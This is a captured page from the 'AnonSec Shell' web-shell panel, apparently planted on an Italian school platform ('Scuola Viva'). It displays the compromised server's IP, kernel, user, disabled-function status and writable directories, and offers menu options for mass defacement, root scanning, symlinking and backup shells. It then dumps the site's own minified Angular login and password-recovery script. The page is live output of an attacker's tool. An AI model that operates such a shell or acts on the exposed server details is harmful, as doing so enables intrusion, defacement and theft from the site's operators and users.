. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 52.223.31.75  /  Your IP : 172.31.32.98   [ Reverse IP ]
Web Server : Apache/2.4.66 () OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux ip-172-31-14-81.eu-central-1.compute.internal 4.14.281-212.502.amzn2.x86_64 #1 SMP Thu May 26 09:52:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
Domains : 4 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/scuolaviva/www/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/scuolaviva/www/467.a5e2431cddecdd95.js
"use strict";(self.webpackChunkSapere=self.webpackChunkSapere||[]).push([[467],{8467:(L,g,n)=>{n.r(g),n.d(g,{AuthenticationRoutes:()=>P});var a=n(8887),h=n(4394),e=n(4438),f=n(8834);const k=()=>["/"];let b=(()=>{class o{static{this.\u0275fac=function(t){return new(t||o)}}static{this.\u0275cmp=e.VBU({type:o,selectors:[["app-error"]],standalone:!0,features:[e.aNF],decls:10,vars:2,consts:[[1,"blank-layout-container","justify-content-center"],[1,"row"],[1,"col-12","text-center"],["src","/assets/images/backgrounds/errorimg.svg","alt","error-bg"],[1,"auth-title","f-w-600"],[1,"f-s-20","f-w-600","m-b-30"],["mat-flat-button","","color","primary",3,"routerLink"]],template:function(t,i){1&t&&(e.j41(0,"div",0)(1,"div",1)(2,"div",2),e.nrm(3,"img",3),e.j41(4,"h2",4),e.EFF(5,"Opps!!!"),e.k0s(),e.j41(6,"h6",5),e.EFF(7,"Sembra che la pagina non esiste o che tu non abbia i permessi per accedere a questa risorsa."),e.k0s(),e.j41(8,"a",6),e.EFF(9,"Ritorna alla Home"),e.k0s()()()()),2&t&&(e.R7$(8),e.Y8G("routerLink",e.lJ4(1,k)))},dependencies:[a.iI,a.Wk,h.G,f.It],encapsulation:2})}}return o})();var c=n(3922),s=n(9417),w=n(177),u=n(1626),I=n(446);let l=(()=>{class o{constructor(r){this.http=r,this.apiUrl=I.N.apiURL}login(r,t){const i={username:r.toLowerCase(),password:t,method:"login"},d=new u.Lr({"Content-Type":"application/json"});return this.http.post(this.apiUrl,i,{headers:d,withCredentials:!0})}recuperaPassword(r){const t={username:r.toLowerCase(),method:"recuperapassword"},i=new u.Lr({"Content-Type":"application/json"});return this.http.post(this.apiUrl,t,{headers:i})}static getCookie(r){const t=document.cookie.match(new RegExp("(?:^|; )"+r.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):null}static{this.\u0275fac=function(t){return new(t||o)(e.KVO(u.Qq))}}static{this.\u0275prov=e.jDH({token:o,factory:o.\u0275fac,providedIn:"root"})}}return o})();var v=n(4912);var m=n(3719),R=n(9631),C=n(9213);function F(o,p){if(1&o&&(e.j41(0,"div",27),e.nrm(1,"br"),e.j41(2,"b",28),e.nrm(3,"br"),e.EFF(4),e.k0s()()),2&o){const r=e.XpG(2);e.R7$(4),e.JRh(r.errorMessage)}}function S(o,p){if(1&o){const r=e.RV6();e.j41(0,"div")(1,"span",15),e.EFF(2,"Inserisci le tue credenziali per accere alla tua area riservata"),e.k0s(),e.DNE(3,F,5,1,"div",16),e.j41(4,"form",17)(5,"mat-label",18),e.EFF(6,"Email"),e.k0s(),e.j41(7,"mat-form-field",19),e.nrm(8,"input",20),e.k0s(),e.j41(9,"mat-label",18),e.EFF(10,"Password"),e.k0s(),e.j41(11,"mat-form-field",19),e.nrm(12,"input",21),e.j41(13,"mat-icon",22),e.bIt("click",function(){e.eBV(r);const i=e.XpG();return e.Njj(i.hidePassword=!i.hidePassword)}),e.nrm(14,"i-tabler",23),e.k0s()(),e.j41(15,"div",24)(16,"a",25),e.bIt("click",function(){e.eBV(r);const i=e.XpG();return i.loginCheck=!1,e.Njj(i.recuperaPasswordCheck=!0)}),e.EFF(17,"Password Dimenticata ?"),e.k0s()(),e.j41(18,"button",26),e.bIt("click",function(){e.eBV(r);const i=e.XpG();return e.Njj(i.login())}),e.EFF(19," Entra "),e.k0s()()()}if(2&o){const r=e.XpG();e.R7$(3),e.Y8G("ngIf",r.errorMessage),e.R7$(5),e.Y8G("formControl",r.emailInput),e.R7$(4),e.Y8G("type",r.hidePassword?"password":"text")("formControl",r.passwordInput),e.R7$(2),e.Y8G("name",r.hidePassword?"eye":"eye-off")}}function y(o,p){if(1&o&&(e.j41(0,"div",27),e.nrm(1,"br"),e.j41(2,"b",28),e.nrm(3,"br"),e.EFF(4),e.k0s()()),2&o){const r=e.XpG(2);e.R7$(4),e.JRh(r.errorRecuperoMessage)}}function E(o,p){if(1&o&&(e.j41(0,"div",27),e.nrm(1,"br"),e.j41(2,"b",30),e.nrm(3,"br"),e.EFF(4),e.k0s()()),2&o){const r=e.XpG(2);e.R7$(4),e.JRh(r.successRecuperoMessage)}}function x(o,p){if(1&o){const r=e.RV6();e.j41(0,"div")(1,"span",29),e.EFF(2,"Recupera qui le tue credenziali per accedere alla tua area riservata"),e.k0s(),e.DNE(3,y,5,1,"div",16)(4,E,5,1,"div",16),e.j41(5,"form",17)(6,"mat-label",18),e.EFF(7,"Email"),e.k0s(),e.j41(8,"mat-form-field",19),e.nrm(9,"input",20),e.k0s(),e.j41(10,"div",24)(11,"a",25),e.bIt("click",function(){e.eBV(r);const i=e.XpG();return i.loginCheck=!0,e.Njj(i.recuperaPasswordCheck=!1)}),e.EFF(12,"Torna al login "),e.k0s()(),e.j41(13,"button",26),e.bIt("click",function(){e.eBV(r);const i=e.XpG();return e.Njj(i.recuperaPassword())}),e.EFF(14," Recupera Password "),e.k0s()()()}if(2&o){const r=e.XpG();e.R7$(3),e.Y8G("ngIf",r.errorRecuperoMessage),e.R7$(),e.Y8G("ngIf",r.successRecuperoMessage),e.R7$(5),e.Y8G("formControl",r.emailInputRecupero)}}const P=[{path:"",children:[{path:"error",component:b},{path:"login",component:(()=>{class o{constructor(r,t,i,d){this.settings=r,this.routes=t,this.service=i,this.route=d,this.options=this.settings.getOptions(),this.msg="",this.version="1.0.3",this.hidePassword=!0,this.emailInput=new s.MJ("",[s.k0.required,s.k0.email]),this.emailInputRecupero=new s.MJ("",[s.k0.required,s.k0.email]),this.passwordInput=new s.MJ("",[s.k0.required]),this.numeroCertificato=new s.MJ("",[s.k0.required]),this.errorMessage="",this.errorRecuperoMessage="",this.successRecuperoMessage="",this.loginCheck=!0,this.recuperaPasswordCheck=!1,c.P.isLogged()&&this.routes.navigate([c.P.getHomePath()])}login(){localStorage.removeItem("username"),localStorage.removeItem("user_info"),localStorage.removeItem("user_type_id"),localStorage.removeItem("profile_check"),this.emailInput.value&&this.passwordInput.value?(this.errorMessage="",this.service.login(this.emailInput.value,this.passwordInput.value).subscribe({next:t=>{t.status?(this.options.activeTheme="830830"===t.message.user_type_id?"green_theme":"blue_theme",localStorage.setItem("username",t.message.email),localStorage.setItem("user_type_id",t.message.user_type_id),localStorage.setItem("user_info",JSON.stringify(t.message)),localStorage.setItem("profile_check",t.message.profile_check),console.log("profile_check_login:",t.message.profile_check),console.log("Go To: "+c.P.getHomePath()),this.options.apiToken=l.getCookie("PHPSESSID")||"",console.log(l.getCookie("PHPSESSID")),this.settings.setOptions(this.options),localStorage.setItem("activeTheme",this.options.activeTheme),this.routes.navigate([c.P.getHomePath()])):this.errorMessage="Login non riuscito, verificare le credenziali e riprovare!"},error:t=>{this.errorMessage="Errore durante il login, riprovare o contattare la segreteria!",console.error("Errore durante il login",t)},complete:()=>{}})):this.errorMessage="Email e Password sono obbligatori!"}getLogo(){return"/assets/images/logos/logo.png"}recuperaPassword(){this.emailInputRecupero.value?(this.errorRecuperoMessage="",this.service.recuperaPassword(this.emailInputRecupero.value).subscribe({next:t=>{t.status?this.successRecuperoMessage="Il recupero della password \xe8 avvenuto con successo, riceverai a breve una mail con maggiori informazioni!":this.errorRecuperoMessage=t.message},error:t=>{this.errorRecuperoMessage="Errore durante il recupero password, riprovare o contattare la segreteria!",console.error("Errore durante il recupero password!",t)},complete:()=>{}})):this.errorRecuperoMessage="L'email \xe8 obbligatoria!"}static{this.\u0275fac=function(t){return new(t||o)(e.rXU(c.P),e.rXU(a.Ix),e.rXU(l),e.rXU(a.nX))}}static{this.\u0275cmp=e.VBU({type:o,selectors:[["app-side-login"]],standalone:!0,features:[e.Jv_([l]),e.aNF],decls:19,vars:4,consts:[[1,"blank-layout-container","justify-content-center"],[1,"auth-wrapper"],[1,"position-relative","shaper-wrapper"],[1,"w-100","position-relative","rounded","bg-white","auth-card"],[1,"auth-body"],[1,"row"],[1,"col-lg-6"],[1,"align-items-center","justify-content-center","d-lg-flex",2,"text-align","center"],["alt","login",2,"max-width","100%",3,"src"],[1,"text-center",2,"color","lightgrey"],[1,"d-flex","align-items-start","align-items-lg-center","justify-content-center"],[1,"row","justify-content-center","w-100"],[1,"col-lg-11"],[1,"f-w-700","f-s-30","m-0","m-t-0","lh-base","text-center"],[4,"ngIf"],[1,"f-s-14","d-block","mat-body-1","m-t-8","text-center"],["class","text-center",4,"ngIf"],[1,"m-t-30"],[1,"mat-subtitle-2","f-s-14","f-w-600","m-b-12","d-block"],["appearance","outline","color","primary",1,"w-100"],["matInput","","required","",3,"formControl"],["matInput","","required","",3,"type","formControl"],["matSuffix","","clickable","",3,"click"],[1,"icon-20","d-flex",3,"name"],[1,"d-block","d-lg-flex","align-items-center","m-b-12"],[1,"text-primary","f-w-600","text-decoration-none","m-l-auto","d-block","f-s-14",2,"cursor","pointer",3,"click"],["mat-flat-button","","color","primary",1,"w-100",3,"click"],[1,"text-center"],[2,"color","red"],[1,"f-s-14","d-block","mat-body-1","m-t-8","w-100","text-center"],[2,"color","green"]],template:function(t,i){1&t&&(e.j41(0,"div",0)(1,"div",1)(2,"div",2)(3,"div",3)(4,"div",4)(5,"div",5)(6,"div",6)(7,"div",7),e.nrm(8,"img",8),e.k0s(),e.j41(9,"div",9),e.EFF(10),e.k0s()(),e.j41(11,"div",6)(12,"div",10)(13,"div",11)(14,"div",12)(15,"h4",13),e.EFF(16," Benvenuto nella Piattaforma Scuola Viva "),e.k0s(),e.DNE(17,S,20,5,"div",14)(18,x,15,3,"div",14),e.k0s()()()()()()()()()()),2&t&&(e.R7$(8),e.Y8G("src",i.getLogo(),e.B4B),e.R7$(2),e.SpI("v. ",i.version,""),e.R7$(7),e.Y8G("ngIf",i.loginCheck),e.R7$(),e.Y8G("ngIf",i.recuperaPasswordCheck))},dependencies:[a.iI,v.X4,v.Jc,h.G,m.rl,m.nJ,m.yw,R.fg,f.$z,C.An,w.bT,s.YN,s.qT,s.me,s.BC,s.cb,s.YS,s.cV,s.X1,s.l_],encapsulation:2})}}return o})()}]}]}}]);

Anon7 - 2022
AnonSec Team